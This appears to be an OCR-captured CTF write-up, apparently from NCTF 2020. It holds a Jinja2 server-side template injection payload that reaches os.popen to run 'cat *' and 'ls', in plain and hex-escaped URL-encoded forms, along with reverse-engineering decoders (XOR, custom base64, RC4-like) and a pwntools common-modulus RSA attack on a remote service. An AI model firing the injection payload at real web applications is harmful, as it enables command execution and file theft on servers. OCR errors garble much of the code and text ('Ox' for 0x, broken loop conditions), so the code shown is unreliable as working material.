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name={{""[" class "][" base "][" subclasses "1()[371][" init "]

[" globals "I1[" builtins "]["eval"](" import ("os")")["popen"]("cat *")
["read"1()}}

encodeURIZG:

name={{%22%22[%22\x5F\x5f\x63\x6c\x61\x73\x73\x5f\x51%22]
[%22\X5F\X5F\Xx62\Xx61\X73\x65\X5F\x5F%22 ]

%22 \X5F\X5F\X73\x75\x62\x63\X6Cc\x61\Xx73\x73\x65\X73\X5F\x5F%22] () [371]
%22\X5F\X5F\x69\x6e\x69\x74\x5F\x5F%22]

%22 \X5F\X5F\X67\x6Cc\Xx6T\x62\X61\X6C\X73\X5F\X5F%22]

%22 \X5F\Xx5F\x62\x75\x69\x6c\x74\x69\x6e\x73\x5F\x5F%22]
[%22\x65\X76\x61\x6C%22] (%22\X5F\Xx5Fimport\x5F\x5F (\"os\")%22)

%22\ X70\x6T\x70\x65\x6€%22] ("1s")["read"]1()}}
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#include <stdio.h>
unsigned char  cdecl sub_4014D0(unsigned char al, char a2);
int main()

{

int i,j,k;

int tmp;

char s[]="nctf";

unsigned char ida chars[] =
{

OxC6, Ox6A, 0xCO, 0Ox27, OxXEB, OxCA, 0x65, 0x02, 0x61, OxCA,
0x68, 0x27, Ox6B, OxE2, OxCO, OxEO, 0x00, 0x80, 0x22, 0x27,
OXE1l, OxAl, 0x02, 0x27, 0x63, 0x4B, 0xA8, OxE3
}
for(j=0;7<28;j++){
for(i=0;1i<=255;i++){
tmp=sub 4014D0(i,s[j%4]);
if(tmp==ida chars[j])
printf("%sc",i);

}
}
return 0;
}

unsigned char  cdecl sub_4014D0(unsigned char al, char a2)

{
int v2; // STO7 1

v2 = (~a2 | ~al) & (~a2 | al) & (a2 | al) | (~a2 | ~al) & (a2 | ~al) & a2 &
al | a2 & ~al | ~a2 & al;

return (~(32 * v2) | ~(v2 >> 3)) & (~(32 * v2) | (v2 >> 3)) & (32 * v2 | (v2
>> 3)) | (~(32 * v2) | ~(v2 >> 3)) & (32 * v2 | ~(v2 >> 3)) & (32 * v2 | (v2 >>
3));
}
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#include <stdio.h>

int main(){

unsigned char ida chars[] =

{
0x1D, 0x01, OxOD, 0x14, 0x47, 0x69, 0x61, 0x64, 0x04, 0x28,
0x37, 0x54, 0x43, 0x06, O0x71, Ox7A, 0x03, 0x0C, 0x47, Ox2F,
0x5D, 0x79, Ox5F, 0x51, 0x04, 0x00, 0x1D, 0x01, 0x58, Ox7D,
0x04, 0x63, 0x04, Ox5B, 0x42, 0x07, 0x55, 0x46, 0x00, 0x00,
0x00, 0x00, Ox00, Ox00, Ox00, Ox00, 0x00, 0x00, 0x00, O0x00,
0x00, 0x00, 0x00, Ox00, Ox00, Ox00, 0x00, 0x00, 0x00, O0x00,
0x00, 0x00, 0x00, 0x00

}
unsigned char ms[] =
{
OX6E, 0x63, 0x74, 0x66, 0x32, 0x30, 0x32, 0x30, 0x00
b
int j=0;
for(j=0;j<64;j++){
ida chars[j]=ida chars[j]1™ms[j%8];
}
for ( j =0; j < 64; j++)
{
printf("%sc",ida chars[j]);
}
}

5%|sbyruYSTjKC2g6CJmo3lolmajcigiM6Sj86agv20nctf2020nctf2020nctf2020
BEiERMEbase64

import base64
import string
#Hred

strl='sbyruYSTjKC2q6CImo3IoImajcigjM6Sj86agv20nctf2020nctf2020nctf2020"

stringl "/+9876543210zyxwvutsrgponmlkjihgfedcbaZYXWVUTSRQPONMLKIIHGFEDCBA™"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/"

print (base64.b64decode(strl.translate(str.maketrans(stringl,string2))))
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Exeinfo PEFTHexekBR, HEAITHRIE/Rdecode shell.pdb, FilexeT*,
AMBRRBITRIXHAida od”, FRAEIFidaFlodxFl/53TFexe, BHFPE ToolsikFexei#iZDump, MMM
wEhTENexe,

BIDAFTH, %£EW—RMZELH(RGFMencode), LW (tmp[vl] | vl) & ~(tmp[vl] & v1) A%
HzE, RizEREFERIflag



byte B731E8 = [
OxA3, 0x4D, 0x44, Ox7F, 0x53, OxD6, OxE9, 0x88, 0x4D, 0x95,
Ox1A, 0x72, 0x01, 0x3C, 0x71, Ox00, OxE8, OxCE, OxAl, OxF8,
0x51, 0x48, OxF5, OxE9, Ox6A, 0x02, 0x27, 0xD8, 0x96, Ox7F,
0x72, 0xD6, OxF1l, OxE9, Ox9F, OxC6, Ox5D, 0x60, OxE4, 0x10,
0x64, 0x99, OxAO, 0x00

Dst = [

0x70, OxDA, 0x19, 0xB3, 0x76, Ox8C, 0x66, 0x69, 0x28, 0xC7,
0xD0O, 0x1B, 0x11, 0x77, 0x94, 0xA2, 0x92, 0x1C, 0x51, OxA3,
Ox4A, 0xC4, OxAB, OxF8, OxAA, Ox2F, OxE9, 0x3B, 0x95, 0x84,
OXEE, OxCD, 0x55, 0xCB, 0xCl, 0x99, OxE4, OxA4, Ox7A, Ox4E,
OxE1l, Ox9A, 0x89, 0xC3, OxF9, 0x41, 0x34, 0x13, 0x57, OxE5,
OxBB, 0x05, 0x64, 0xC5, 0x5C, OxB7, OxBF, 0x79, 0x31, 0x26,
0x47, 0x86, Ox1F, 0xD3, OxAl, OxF2, OxE2, O0x3D, 0x9D, OxDF,
0x43, OxE7, OxF4, O0xA6, 0x67, OxFD, 0xC9, 0x78, 0x00, 0x98,
0x58, Ox8E, OxA8, 0xD2, OxFC, 0x71, Ox6A, 0xC2, OxFO, 0xB2,
Ox0A, Ox6E, OxBC, Ox6D, 0x48, 0xB8, 0xD8, OxOE, 0x49, 0x1D,
Ox6F, OxAD, 0x74, 0x91, 0xC6, Ox1E, 0x59, 0x82, 0x45, 0x2B,
0x46, OxAF, 0x0B, 0OxD5, 0x5D, 0x17, 0x8D, Ox6B, 0xB4, 0xDB,
0xB9, 0x09, 0x01, O0xBD, OXEF, Ox7E, 0x6C, 0x23, 0x65, 0x97,
0x96, 0x72, 0x02, 0x33, 0x3C, OxB6, 0x53, 0x27, 0x32, 0x24,
Ox3E, OxF3, 0x8B, OxEA, Ox1A, OxA9, 0x2C, OxED, 0xD1l, 0x56,
0x18, 0x38, 0x75, 0x52, OxF7, 0x88, OxOF, OxF6, 0x20, OxEO,
0x50, Ox5F, 0xD9, 0x9C, Ox5A, Ox5E, 0xD6, 0x2D, 0x06, 0x63,
OXFE, OxBA, 0x35, OxCC, 0xD7, Ox9E, OxFB, 0Ox2A, 0x0C, 0xB1,
0x25, 0x44, 0x87, OxF5, OxFA, Ox8A, 0x40, OxCF, 0x7D, 0OxB5,
0x04, 0xC8, 0x60, 0xDC, 0x4D, OxE3, 0xBO, 0xD4, Ox3F, 0x9B,
OxE8, 0x62, O0xCO, OxA7, O0xAO, 0x21, 0x4B, 0x4C, Ox7F, Ox2E,
OxEC, OxCE, OxDD, 0x03, OxFF, OxDE, OxCA, 0x22, 0x5B, 0x29,
OxF1, 0x39, 0x80, Ox9F, 0x73, 0x42, OxA5, 0x90, 0x10, 0x0D,
0x81, 0x15, OxEB, Ox8F, 0x4F, 0x61, 0x54, 0x7C, 0x93, 0x36,
OxAC, 0x68, Ox3A, 0x85, 0x16, OxE6, 0x7B, OxBE, 0x30, 0x08,
0x83, 0x37, 0x14, 0x12, OxAE, 0x07, 0xB9, 0x85, OxEC, 0xC2,
0xC4, OxFC, OxAl, 0x02, 0x59, 0x63, 0x75, 0x76, 0x00, 0x00,
0x00, 0x00, O0x40, 0x63, 0x75, O0x76, 0x20, OxFD, OxAl, 0x02,
0x44, 0x89, Ox4F, 0x77, 0x00, 0x00, 0x00, 0x00, 0x2D, OxE3,
0x51, 0xC6

def encode(text):
tmp = [data+l for data in text];v5 = 0;v6 = 0;v7 = 0;
while True:
v5 (vb + 1) % 256;
v8 Dst[v5];
v6 (v8 + vb) % 256;
Dst[v5] Dst[v6];
Dst[v6] v8;
tmp[v7] "= Dst[(v8 + Dst[v5])&0OXFF];




v7 += 1;
if v7 >= 0x2B: break

vl = 0;

while True:
v2 = (tmp[vl] | v1) & ~(tmp[vl] & v1);
tmp[vl] = v2;
vl += 1

if vl >= 43: break
return tmp

def decode(text):
encode dict = []; v5 = 0;v6 = 0;v7 = 0;
while True:
v5 (vb + 1) % 256;
v8 Dst[v5];
v = (v8 + vb) % 256;
Dst[v5] Dst[v6];
Dst[v6] v8;
encode dict.append(Dst[(v8 + Dst[v5])&OxFF]);
vl += 1;
if v7 >= 0x2B: break

tmp = [text[i]”i for i in range(len(text))]

v7 = 0Ox2B-1;

while True:
tmp[v7] "= encode dict[v7];
vl -=1;
if v7 == 0: break

return tmp

print("".join([chr(data) for data in decode(byte B731E8)]))
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from pwn import *

from hashlib import sha256
import itertools as its

from Crypto.Util.number import *
import gmpy2

import binascii

host, port = '42.192.180.50', 30002
p = remote(host, port)

# proof of work
_ pow = p.recvuntil('\n'").decode()
salt = pow[12:28]




 sha = pow[33:-1]
words = '0123456789abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
r = its.product(words, repeat=4)
for i in r:
sha = sha256((''.join(i) + salt).encode())

if sha.hexdigest() == sha:
print('find ' + ''.join(1i))
p.sendline(''.join(1i))
break
# get el,n

 EN = p.recvuntil('\n').decode()
el, N = EN[28:-1].split(',")
el, N = int(el), int(N)

# get cl

p.recvuntil('exit\n'")

p.sendline('4"')

cl = int(p.recvuntil('\n"').decode()[21:-1])

# get e2

p.recvuntil('exit\n"')
p.sendline('3")

 EN = p.recvuntil('\n').decode()
e2 = int( EN[31:-1].split(',"')[0])

# get c2

p.recvuntil('exit\n"')

p.sendline('4"')

c2 = int(p.recvuntil('\n"').decode()[21:-1])

# same mod attack
s0, sl, s2 = gmpy2.gcdext(el, e2)
if s@ == 1:
if s1 < 0:
sl *= -1
cl = inverse(cl, N)
else:
s2 *= -1
cl = inverse(c2, N)
m = pow(cl, s1, N)*pow(c2, s2, N) % N
print((binascii.a2b hex(hex(m)[2:])).decode())




